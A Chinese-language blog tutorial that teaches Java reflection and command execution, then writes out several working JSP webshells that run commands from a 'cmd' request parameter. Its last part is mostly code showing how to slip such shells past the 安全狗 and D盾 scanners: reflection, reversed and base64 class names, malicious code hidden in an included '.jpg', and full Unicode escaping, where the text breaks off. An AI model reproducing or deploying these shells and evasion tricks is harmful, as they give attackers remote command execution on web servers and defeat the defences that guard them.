• Java通过反射模拟冰蝎免杀功能


    一、Java反射

    java反射算是java学习过程中不可绕过的一关。

    java 反射

    反射允许运行中的Java程序获取自身的信息,并且可以操作类或对象的内部属性。
    反射的核心是JVM在运行时动态加载类或调用方法或访问属性。

    class 类

    我们正常类加载的方式是

    • 导入包名--->通过new实例化--->取得实例化对象
      而反射是
    • 实例化对象--->getclass()方法--->得到包名

    实现反射相关API:

    1. java.lang.Class 代表一个类
    2. java.lang.reflect.Method 代表类的方法
    3. java.lang.reflect.Field 代表类的成员属性
    4. java.lang.reflect.Constructor 代表类的构造方法

    列举一个demo,User.java:

    1. public class User extends Person{
    2. private int id;
    3. private String username;
    4. private String password;
    5. public int age;
    6. public User(){}
    7. public User(int id, String username, String password, int age) {
    8. this.id = id;
    9. this.username = username;
    10. this.password = password;
    11. this.age = age;
    12. }
    13. public String getUsername() {
    14. return username;
    15. }
    16. public void setUsername(String username) {
    17. this.username = username;
    18. }
    19. private void show(String username,String password) {
    20. System.out.println("用户名:"+username+",密码:"+password);
    21. }
    22. public void study(String username) {
    23. System.out.println(username+"正在学习~");
    24. }
    25. @Override
    26. public String toString() {
    27. return "User{" +
    28. "id=" + id +
    29. ", username='" + username + '\'' +
    30. ", password='" + password + '\'' +
    31. ", age=" + age +
    32. '}';
    33. }
    34. }

    Person类:

    1. public class Person {
    2. public String name;
    3. private int age;
    4. public Person(){}
    5. public Person(String name, int age) {
    6. this.name = name;
    7. this.age = age;
    8. }
    9. public Person(String name) {
    10. this.name = name;
    11. }
    12. public String getName() {
    13. return name;
    14. }
    15. public void setName(String name) {
    16. this.name = name;
    17. }
    18. public int getAge() {
    19. return age;
    20. }
    21. public void setAge(int age) {
    22. this.age = age;
    23. }
    24. private String show(String name) {
    25. //System.out.println(name+"");
    26. return name+"正在洗澡";
    27. }
    28. private static void teststatic(){
    29. System.out.println("static method start");
    30. }
    31. @Override
    32. public String toString() {
    33. return "Person{" +
    34. "name='" + name + '\'' +
    35. ", age=" + age +
    36. '}';
    37. }
    38. }

    获取class类对象的四种方法:

    1. public void getclassTest(){
    2. //1.获取class对象
    3. User user1 = new User();
    4. Class c1 = user1.getClass();
    5. System.out.println("第一种"+c1);
    6. //2.通过类的方式获取
    7. Class c2 = User.class;
    8. System.out.println("第二种"+c2);
    9. //3.class.forName() 将字节码文件加载到内存
    10. Class c3;
    11. try {
    12. c3 = Class.forName("com.atguigu.java.User");
    13. System.out.println("第三种"+c3);
    14. } catch (ClassNotFoundException e) {
    15. e.printStackTrace();
    16. }
    17. //4. classLoader 类加载器
    18. ClassLoader classLoader = ReflectionTest.class.getClassLoader();
    19. Class aClass = null;
    20. try {
    21. aClass = classLoader.loadClass("com.atguigu.java.User");
    22. } catch (ClassNotFoundException e) {
    23. e.printStackTrace();
    24. }
    25. System.out.print("第四种"+aClass);
    26. }

    获取成员属性:

    1. getFields() 获取所有public修饰的成员属性,包括父类
    2. getDeclaredFields() 获得当前类的所有属性,包括private
    1. public void test() throws ClassNotFoundException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Field[] fields = c.getDeclaredFields();
    4. //Field[] fields = c.getFields();
    5. for (Field f : fields) {
    6. System.out.println(f);
    7. }
    8. }

     获取构造方法:

    1. getConstructors() 获得所有public修饰的构造方法,包括父类
    2. getDeclaredConstructors() 获得当前类的所有构造方法,包括私有
    3. getDeclaredConstructor() 获得当前类指定的构造方法
    1. public void test() throws ClassNotFoundException {
    2. Class clazz = Class.forName("com.atguigu.java.User");
    3. Constructor[] cs = clazz.getDeclaredConstructors();
    4. //Constructor[] cs = clazz.getConstructors();
    5. for (Constructor con : cs) {
    6. System.out.println(con);
    7. }
    8. }

    1. public void test() throws ClassNotFoundException, NoSuchMethodException {
    2. Class clazz = Class.forName("com.atguigu.java.User");
    3. Constructor declaredConstructor = clazz.getDeclaredConstructor();
    4. Constructor declaredConstructor1 = clazz.getDeclaredConstructor(int.class, String.class, String.class, int.class);
    5. }

    获取指定的构造方法,可以是无参构造方法,也可以是有参构造方法。

    如果想要获取父类的构造方法呢?

    1. public void test() throws ClassNotFoundException {
    2. Class clazz = Class.forName("com.atguigu.java.User");
    3. Class superclass = clazz.getSuperclass();
    4. Constructor[] cs = superclass.getDeclaredConstructors();
    5. for (Constructor con : cs) {
    6. System.out.println(con);
    7. }
    8. }

    获取成员方法:

    1. getMethods() 获取当前类和父类的所有公有的public方法,并以数组返回
    2. getDeclaredMethods() 只查询当前类的所有定义的方法(包含private),并以数组返回
    3. getDeclaredMethod() 获取某个方法,传入的第一个参数为方法名,第二个参数为方法参数
    1. public void test() throws ClassNotFoundException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Method[] method = c.getDeclaredMethods();
    4. //Method[] method = c.getMethods();
    5. for (Method meth : method) {
    6. System.out.println(meth);
    7. }
    8. }

    如果想要获取show()方法,使用getDeclaredMethod()方法,并传入方法名,以及形参。又因为该方法为private,所以设置访问权限。

    注:setAccessible作用是启动和禁止访问安全检查的开关,参数为true表示反射的对象在使用时应该取消java语言访问检查,参数为false则表示反射的对象实施对java语言的访问检查。

    1. public void test() throws ClassNotFoundException, NoSuchMethodException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Method[] method = c.getDeclaredMethods();
    4. Method show = c.getDeclaredMethod("show", String.class,String.class);
    5. show.setAccessible(true);
    6. }

    反射调用属性

    调用public age属性:

    1. public void test() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Field agefield = c.getField("age");
    4. User u = new User(1,"cseroad","123456",18);
    5. System.out.println(agefield.getInt(u));
    6. }

    调用private username属性:

    1. public void test() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    2. Class c = Class.forName("javase.bibi.reflection.User");
    3. Field usernamefield = c.getDeclaredField("username");
    4. usernamefield.setAccessible(true);//忽略访问权限
    5. User u = new User(1,"cseroad","123456",18);
    6. System.out.println(usernamefield.get(u));
    7. }

    反射调用方法

    调用public方法:

    1. public void test() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Method study = c.getDeclaredMethod("study", String.class);
    4. User u = new User(1,"vxeroad","123456",18);
    5. study.invoke(u, "cseroad");
    6. }

    调用private方法:

    1. public void test() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    2. Class c = Class.forName("com.atguigu.java.User");
    3. Method show = c.getDeclaredMethod("show", String.class, String.class);
    4. show.setAccessible(true);
    5. User u = new User(1,"vxeroad","123456",18);
    6. show.invoke(u, "cseroad","1q2w3e4r");
    7. }

    反射创建对象

    上面的例子我们看到还是用new的方式来创建的对象。也可以通过反射创建对象。

    1. Class.newInstance() 只能够调用无参的构造方法,即默认的构造方法;要求构造方法必须是public类型的。
    2. Constructor.newInstance() 可以根据传入的参数,调用任意的构造方法; 特定情况下可以调用私有的构造方法。

    尝试反射创建对象并调用public study() 方法:

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. // 1. 获得class对象
    3. Class clazz = Class.forName("com.atguigu.java.User");
    4. // 2. 获取无参构造器
    5. Constructor declaredConstructor = clazz.getDeclaredConstructor();
    6. // 3. Constructor.newInstance() 创建对象
    7. Object cseroad = declaredConstructor.newInstance();
    8. User user = (User) cseroad;
    9. // 4. 获取方法
    10. Method show = clazz.getDeclaredMethod("study", String.class);
    11. show.invoke(user, "cseroad");
    12. }

    因为User类有两个构造方法,我们尝试用另一个有参构造器。

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. // 1. 获得class对象
    3. Class clazz = Class.forName("com.atguigu.java.User");
    4. // 2. 获取无参构造器
    5. Constructor declaredConstructor = clazz.getDeclaredConstructor(int.class,String.class,String.class,int.class);
    6. // 3. Constructor.newInstance() 创建对象
    7. Object cseroad = declaredConstructor.newInstance(1,"xx","xx",18);
    8. User user = (User) cseroad;
    9. // 4. 获取方法
    10. Method show = clazz.getDeclaredMethod("study", String.class);
    11. show.invoke(user,"cseroad");
    12. }

    为了区别实参和形参,在User类的study()方法中调整为:

    1. public void study(String username) {
    2. System.out.println("我的年龄:"+age);
    3. System.out.println(username+"正在学习~");
    4. }

    结论为:在newInstance创建对象的时候,对应有参构造器,传入形参。

    再尝试反射创建对象并调用public show() 私有方法:

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. // 1. 获得class对象
    3. Class clazz = Class.forName("com.atguigu.java.User");
    4. // 2. 获取无参构造器
    5. Constructor declaredConstructor = clazz.getDeclaredConstructor(int.class,String.class,String.class,int.class);
    6. // 3. Constructor.newInstance() 创建对象
    7. Object cseroad = declaredConstructor.newInstance(1,"xx","xx",18);
    8. User user = (User) cseroad;
    9. // 4. 获取方法
    10. Method show = clazz.getDeclaredMethod("show", String.class,String.class);
    11. show.setAccessible(true);
    12. show.invoke(user,"cseroad","123456");
    13. }

     

    应用

    我们趁热打铁,看看如何反射调用经常用到的Runtime类。

    正常使用Runtime类执行系统命令为:

    Process p = Runtime.getRuntime().exec("calc");

    而反射过程是加载类调用方法。

    首先获得Runtime类:

    Class clazz = Class.forName("java.lang.Runtime");

    然后看一下该类的构造器:

    1. Constructor[] declaredConstructors = clazz.getDeclaredConstructors();
    2. for(Constructor con : declaredConstructors){
    3. System.out.print(con);
    4. }

    只有一个私有的无参构造器,获取该构造器并设置访问权限:

    1. Constructor declaredConstructor = clazz.getDeclaredConstructor();
    2. declaredConstructor.setAccessible(true);

    有了构造器就可以创建对象:

    Object o = declaredConstructor.newInstance();

    然后获取指定的方法,之前也可以查看当前类的所有方法:

    1. Method[] declaredMethods = clazz.getDeclaredMethods();
    2. for(Method meth : declaredMethods){
    3. System.out.println(meth);
    4. }

    可以看到exec()方法对应的都是public属性,且可以传入String类型,也可以传入String[]类型。

    比如使用java.lang.String,那在getDeclaredMethod()方法后传入的第一个参数为exec()方法,第二个参数为String.class:

    Method show = clazz.getDeclaredMethod("exec", String.class);

    并使用invoke()方法执行exec()方法:

    show.invoke(o,"touch 1.txt");

    所有以上代码为:

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. // 1. 获得class对象
    3. Class clazz = Class.forName("java.lang.Runtime");
    4. // 2. 获取无参构造器
    5. Constructor declaredConstructor = clazz.getDeclaredConstructor();
    6. declaredConstructor.setAccessible(true);
    7. // 3. Constructor.newInstance() 创建对象
    8. Object o = declaredConstructor.newInstance();
    9. //Runtime o1 = (Runtime) o;
    10. // 4. 获取方法
    11. Method show = clazz.getDeclaredMethod("exec", String.class);
    12. show.invoke(o,"touch 1.txt");
    13. }

    也可以传入String[] 类型:

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. // 1. 获得class对象
    3. Class clazz = Class.forName("java.lang.Runtime");
    4. // 2. 获取无参构造器
    5. Constructor declaredConstructor = clazz.getDeclaredConstructor();
    6. declaredConstructor.setAccessible(true);
    7. // 3. Constructor.newInstance() 创建对象
    8. Object o = declaredConstructor.newInstance();
    9. //强制转换Runtime
    10. //Runtime o1 = (Runtime) o;
    11. // 4. 获取方法
    12. String[] cmds = new String[]{"/bin/bash","-c","touch 2.txt"};
    13. Method show = clazz.getDeclaredMethod("exec", String[].class);
    14. // 强制转换为Object
    15. show.invoke(o,(Object) cmds);
    16. }

    同样ProcessImpl类、ProcessBuilder类也可以反射调用执行系统命令:

    1. public void test1() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    2. Class clazz = Class.forName("java.lang.ProcessBuilder");
    3. Constructor declaredConstructor = clazz.getDeclaredConstructor(List.class);
    4. ArrayList lists = new ArrayList<>();
    5. lists.add("touch");
    6. lists.add("2.txt");
    7. Object o = declaredConstructor.newInstance(lists);
    8. Method start = clazz.getDeclaredMethod("start");
    9. start.invoke(o);
    10. }
    11. public void test2() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    12. Class clazz = Class.forName("java.lang.ProcessImpl");
    13. Constructor declaredConstructor = clazz.getDeclaredConstructor(byte[].class,byte[].class,int.class,byte[].class,int.class,byte[].class,int[].class,boolean.class,boolean.class);
    14. declaredConstructor.setAccessible(true);
    15. Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    16. start.setAccessible(true);
    17. start.invoke(null, new String[]{"/bin/bash","-c","touch 1.txt"}, null, ".", null, true);
    18. }
    19. 二、Java 命令执行

      在学习了反射之后,我们再看一下执行系统命令的一些类。

      执行命令的类

      RunTime类

      也是用的最多的一种,通过Runtime类的exec方法执行系统命令。

      关键代码为:

      Process p = Runtime.getRuntime().exec("calc");

      结合IO操作,将结果打印出来,代码为:

      1. public void test3() throws IOException {
      2. try {
      3. Process p = Runtime.getRuntime().exec("whoami");
      4. InputStream input = p.getInputStream();
      5. InputStreamReader ins = new InputStreamReader(input, "GBK");
      6. //InputStreamReader 字节流到字符流,并指定编码格式
      7. BufferedReader br = new BufferedReader(ins);
      8. //BufferedReader 从字符流读取文件并缓存字符
      9. String line;
      10. while ((line = br.readLine()) != null) {
      11. System.out.println(line);
      12. }
      13. br.close();
      14. ins.close();
      15. input.close();
      16. } catch (IOException e) {
      17. e.printStackTrace();
      18. }
      19. }

      过程:

      通过Runtime类的exec方法执行命令获取输入流getInputStream(),再InputStreamReader处理流转换为字符流,并指定gbk的编码格式。BufferedReader缓冲流读取文本到缓冲区,再通过readLine()方法打印出结果。

      ProcessBuilder 类

      ProcessBuilder类通过创建系统进程执行命令。

      关键代码为:

      1. ProcessBuilder builder = new ProcessBuilder("calc");
      2. Process process = builder.start();

      将获取到进程中的输出信息和错误信息,通过IO流的方式的读取:

      1. public void test3() {
      2. try {
      3. String[] cmds = new String[]{"cmd","/c","ipconfig"};
      4. ProcessBuilder builder = new ProcessBuilder(cmds);
      5. Process process = builder.start();
      6. InputStream in = process.getInputStream();
      7. //获取输入流
      8. InputStreamReader ins = new InputStreamReader(in, "GBK");
      9. // 字节流转化为字符流,并指定编码格式
      10. char[] chs = new char[1024];
      11. int len;
      12. while((len = ins.read(chs)) != -1){
      13. System.out.println(new String(chs,0,len));//字符串类型输出
      14. }
      15. ins.close();
      16. in.close();
      17. } catch (IOException e) {
      18. e.printStackTrace();
      19. }
      20. }

      过程:

      通过ProcessBuilder类执行系统命令。

      相比较Runtime类执行系统命令,这次试用String[]字符串数组指定程序执行的系统命令。

      如果是windows,则为:

      String[] cmds = new String[]{"cmd","/c","ipconfig"};

      如果是linux,则为:

      String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};

      在打印的时候字符强制转换为字符串。

      反射调用ProcessImpl类

      Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。

      对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。

      关键代码为:

      1. Class clazz = Class.forName("java.lang.ProcessImpl");
      2. Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
      3. method.setAccessible(true);
      4. Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);
      1. public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      2. //String[] cmds = new String[]{"cmd","/c","ipconfig"};
      3. String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
      4. Class clazz = Class.forName("java.lang.ProcessImpl");
      5. //获取该class
      6. Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
      7. method.setAccessible(true);
      8. //忽略访问权限
      9. Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);
      10. InputStream input = invoke1.getInputStream();
      11. InputStreamReader ins = new InputStreamReader(input, "GBK");
      12. //InputStreamReader 字节流到字符流,并指定编码格式
      13. BufferedReader br = new BufferedReader(ins);
      14. //BufferedReader 从字符流读取文件并缓存字符
      15. String line;
      16. while ((line = br.readLine()) != null) {
      17. System.out.println(line);
      18. }
      19. br.close();
      20. ins.close();
      21. input.close();
      22. invoke1.getOutputStream().close();
      23. }

      反射调用Runtime类

      关键代码为:

      1. Class clazz = Class.forName("java.lang.Runtime");
      2. Constructor constructor = clazz.getDeclaredConstructor();
      3. constructor.setAccessible(true);
      4. Object runtimeInstance = constructor.newInstance();
      5. Method runtimeMethod = clazz.getMethod("exec", String.class);
      6. Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");

      java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。

      1. public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      2. //String[] cmds = new String[]{"cmd","/c","ipconfig"};
      3. String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
      4. Class clazz = Class.forName("java.lang.Runtime");
      5. // 2. 获取无参构造器
      6. Constructor declaredConstructor = clazz.getDeclaredConstructor();
      7. declaredConstructor.setAccessible(true);
      8. // 3. Constructor.newInstance() 创建对象
      9. Object o = declaredConstructor.newInstance();
      10. //Runtime o1 = (Runtime) o;
      11. // 4. 获取方法
      12. Method show = clazz.getDeclaredMethod("exec", String[].class);
      13. Object invoke = show.invoke(o, (Object) cmds);
      14. Process invoke1 = (Process) invoke;
      15. InputStream input = invoke1.getInputStream();
      16. InputStreamReader ins = new InputStreamReader(input, "GBK");
      17. //InputStreamReader 字节流到字符流,并指定编码格式
      18. BufferedReader br = new BufferedReader(ins);
      19. //BufferedReader 从字符流读取文件并缓存字符
      20. String line;
      21. while ((line = br.readLine()) != null) {
      22. System.out.println(line);
      23. }
      24. br.close();
      25. ins.close();
      26. input.close();
      27. invoke1.getOutputStream().close();
      28. }

      jsp 命令执行

      学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%
      4. out.print(System.getProperty("os.name").toLowerCase());
      5. String cmd = request.getParameter("cmd");
      6. if(cmd != null){
      7. Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
      8. InputStream input = p.getInputStream();
      9. InputStreamReader ins = new InputStreamReader(input, "GBK");
      10. BufferedReader br = new BufferedReader(ins);
      11. out.print("
        ");
      12. String line;
      13. while((line = br.readLine()) != null) {
      14. out.println(line);
      15. }
      16. out.print("
      ");
    20. br.close();
    21. ins.close();
    22. input.close();
    23. p.getOutputStream().close();
    24. }
    25. %>
    26. Runtime方法为例,将try语句直接移动过来。System.out.println()修改为out.println(),添加out.print("

      ")格式化输出,import导入所需要的包。

      将脚本改成适用于windows和linux。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%
      4. try {
      5. String os = System.getProperty("os.name");
      6. if(os.toLowerCase().startsWith("win")){
      7. out.print("windows");
      8. String cmd = request.getParameter("cmd");
      9. Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
      10. InputStream input = p.getInputStream();
      11. InputStreamReader ins = new InputStreamReader(input, "GBK");
      12. BufferedReader br = new BufferedReader(ins);
      13. String line;
      14. out.print("
        ");
      15. while((line = br.readLine())!=null) {
      16. out.println(line);
      17. }
      18. out.print("
      ");
    27. br.close();
    28. ins.close();
    29. input.close();
    30. p.getOutputStream().close();
    31. }else{
    32. out.print("Linux");
    33. InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
    34. InputStreamReader ins = new InputStreamReader(in);
    35. char[] chs = new char[1024];
    36. int len;
    37. out.print("
      ");
    38. while((len = ins.read(chs)) != -1){
    39. System.out.println(new String(chs,0,len));
    40. }
    41. out.print("
    42. ");
    43. }
    44. }
    45. catch (IOException e) {
    46. e.printStackTrace();
    47. }
    48. %>
    49. 三、通过反射实现Jsp Webshell 免杀

      php的一句话木马即可以直接命令执行又可以作为冰蝎、蚁剑的客户端,而java就显得比较复杂。

      命令执行

      我们从经典的Runtime类来测试:

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%
      4. out.print(System.getProperty("os.name").toLowerCase());
      5. String cmd = request.getParameter("cmd");
      6. if(cmd != null){
      7. Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
      8. InputStream input = p.getInputStream();
      9. InputStreamReader ins = new InputStreamReader(input, "GBK");
      10. BufferedReader br = new BufferedReader(ins);
      11. out.print("
        ");
      12. String line;
      13. while((line = br.readLine()) != null) {
      14. out.println(line);
      15. }
      16. out.print("
      ");
    50. br.close();
    51. ins.close();
    52. input.close();
    53. p.getOutputStream().close();
    54. }
    55. %>
    56. 该文件有着明显的exec危险代码。

      反射

      利用反射来免杀webshell是常用技术之一。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%@ page import="java.lang.reflect.Constructor" %>
      4. <%@ page import="java.lang.reflect.Method" %>
      5. <%
      6. out.print(System.getProperty("os.name").toLowerCase());
      7. String cmd = request.getParameter("cmd");
      8. if(cmd != null){
      9. Class clazz = Class.forName("java.lang.Runtime");
      10. Constructor declaredConstructor = clazz.getDeclaredConstructor();
      11. declaredConstructor.setAccessible(true);
      12. Object o = declaredConstructor.newInstance();
      13. Method show = clazz.getDeclaredMethod("exec", String[].class);
      14. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      15. Object invoke = show.invoke(o,(Object)cmds);
      16. Process p = (Process) invoke;
      17. InputStream input = p.getInputStream();
      18. InputStreamReader ins = new InputStreamReader(input, "GBK");
      19. BufferedReader br = new BufferedReader(ins);
      20. out.print("
        ");
      21. String line;
      22. while((line = br.readLine()) != null) {
      23. out.println(line);
      24. }
      25. out.print("
      ");
    57. br.close();
    58. ins.close();
    59. input.close();
    60. p.getOutputStream().close();
    61. }
    62. %>
    63. 还可以通过base64编码的方式将关键字符串java.lang.Runtime编码起来。

      1. String a = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="));
      2. System.out.println(a);

      又或者创建一个方法来反转字符串。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%@ page import="java.lang.reflect.Constructor" %>
      4. <%@ page import="java.lang.reflect.Method" %>
      5. <%!public static String reverseStr(String str){return new StringBuilder(str).reverse().toString();}%>
      6. <%
      7. out.print(System.getProperty("os.name").toLowerCase());
      8. String cmd = request.getParameter("cmd");
      9. if(cmd != null){
      10. Class clazz = Class.forName(reverseStr("emitnuR.gnal.avaj"));
      11. Constructor declaredConstructor = clazz.getDeclaredConstructor();
      12. declaredConstructor.setAccessible(true);
      13. Object o = declaredConstructor.newInstance();
      14. Method show = clazz.getDeclaredMethod(reverseStr("cexe"), String[].class);
      15. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      16. Object invoke = show.invoke(o,(Object)cmds);
      17. Process p = (Process) invoke;
      18. InputStream input = p.getInputStream();
      19. InputStreamReader ins = new InputStreamReader(input, "GBK");
      20. BufferedReader br = new BufferedReader(ins);
      21. out.print("
        ");
      22. String line;
      23. while((line = br.readLine()) != null) {
      24. out.println(line);
      25. }
      26. out.print("
      ");
    64. br.close();
    65. ins.close();
    66. input.close();
    67. p.getOutputStream().close();
    68. }
    69. %>
    70.  

      include 指令

      Java Web 里有一个include指令,可以将外部文件嵌入到当前jsp语句中,并同时解析页面的jsp语句。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%@ page import="java.lang.reflect.Constructor" %>
      4. <%@ page import="java.lang.reflect.Method" %>
      5. <%@ include file = "1.jpg" %>

      1. jpg 编写恶意代码:

      1. <%
      2. out.print(System.getProperty("os.name").toLowerCase());
      3. String cmd = request.getParameter("cmd");
      4. if(cmd != null){
      5. Class clazz = Class.forName("java.lang.Runtime");
      6. Constructor declaredConstructor = clazz.getDeclaredConstructor();
      7. declaredConstructor.setAccessible(true);
      8. Object o = declaredConstructor.newInstance();
      9. Method show = clazz.getDeclaredMethod("exec", String[].class);
      10. String[] cmds = new String[]{"cmd.exe","/c",cmd};
      11. Object invoke = show.invoke(o,(Object)cmds);
      12. Process p = (Process) invoke;
      13. InputStream input = p.getInputStream();
      14. InputStreamReader ins = new InputStreamReader(input, "GBK");
      15. BufferedReader br = new BufferedReader(ins);
      16. out.print("
        ");
      17. String line;
      18. while((line = br.readLine()) != null) {
      19. out.println(line);
      20. }
      21. out.print("
      ");
    71. br.close();
    72. ins.close();
    73. input.close();
    74. p.getOutputStream().close();
    75. }
    76. %>
    77. 访问也是可以正常执行命令。

      因为安全狗、D盾主要查杀Runtime.getRuntime().exec(),在使用include的情况下可以绕过D盾无法绕过安全狗。当再次利用反射机制就可以成功绕过。

      编码

      Java 程序可以自动识别Unicode编码,所以我们可以将java源代码除了page指令的代码外,全部编码。

      先在网上查找一个字符串与Unicode编码相互转换的类:

      1. public void convert(String str) {
      2. str = (str == null ? "" : str);
      3. String tmp;
      4. StringBuffer sb = new StringBuffer(1000);
      5. char c;
      6. int i, j;
      7. sb.setLength(0);
      8. for (i = 0; i < str.length(); i++) {
      9. c = str.charAt(i);
      10. sb.append("\\u");
      11. j = (c >>> 8); //取出高8位
      12. tmp = Integer.toHexString(j);
      13. if (tmp.length() == 1)
      14. sb.append("0");
      15. sb.append(tmp);
      16. j = (c & 0xFF); //取出低8位
      17. tmp = Integer.toHexString(j);
      18. if (tmp.length() == 1)
      19. sb.append("0");
      20. sb.append(tmp);
      21. }
      22. System.out.print(new String(sb));
      23. }

      再创建一个方法,通过读取文本文件的方式调用convert()方法将上面的命令执行的代码编码:

      1. public void test2() throws IOException {
      2. File srcfile = new File("a.txt");
      3. FileReader fileReader = new FileReader(srcfile);
      4. BufferedReader bufferedReader = new BufferedReader(fileReader);
      5. String s;
      6. while ((s = bufferedReader.readLine()) != null) {
      7. convert(s);
      8. System.out.print("\r\n");
      9. }
      10. }

      运行后得到Unicode编码后的代码,再把原来page指令声明上即可。

      1. <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
      2. <%@ page import="java.io.*"%>
      3. <%
      4. \u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u0029\u003b
      5. \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0020\u0063\u006d\u0064\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u003b
      6. \u0069\u0066\u0028\u0063\u006d\u0064\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u007b
      7. \u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0022\u002f\u0063\u0022\u002c\u0063\u006d\u0064\u007d\u0029\u003b
      8. \u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0070\u0075\u0074\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b
      9. \u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0069\u006e\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u006e\u0070\u0075\u0074\u002c\u0020\u0022\u0047\u0042\u004b\u0022\u0029\u003b
      10. \u0020\u0020\u0020\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u006e\u0073\u0029\u003b
      11. \u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b
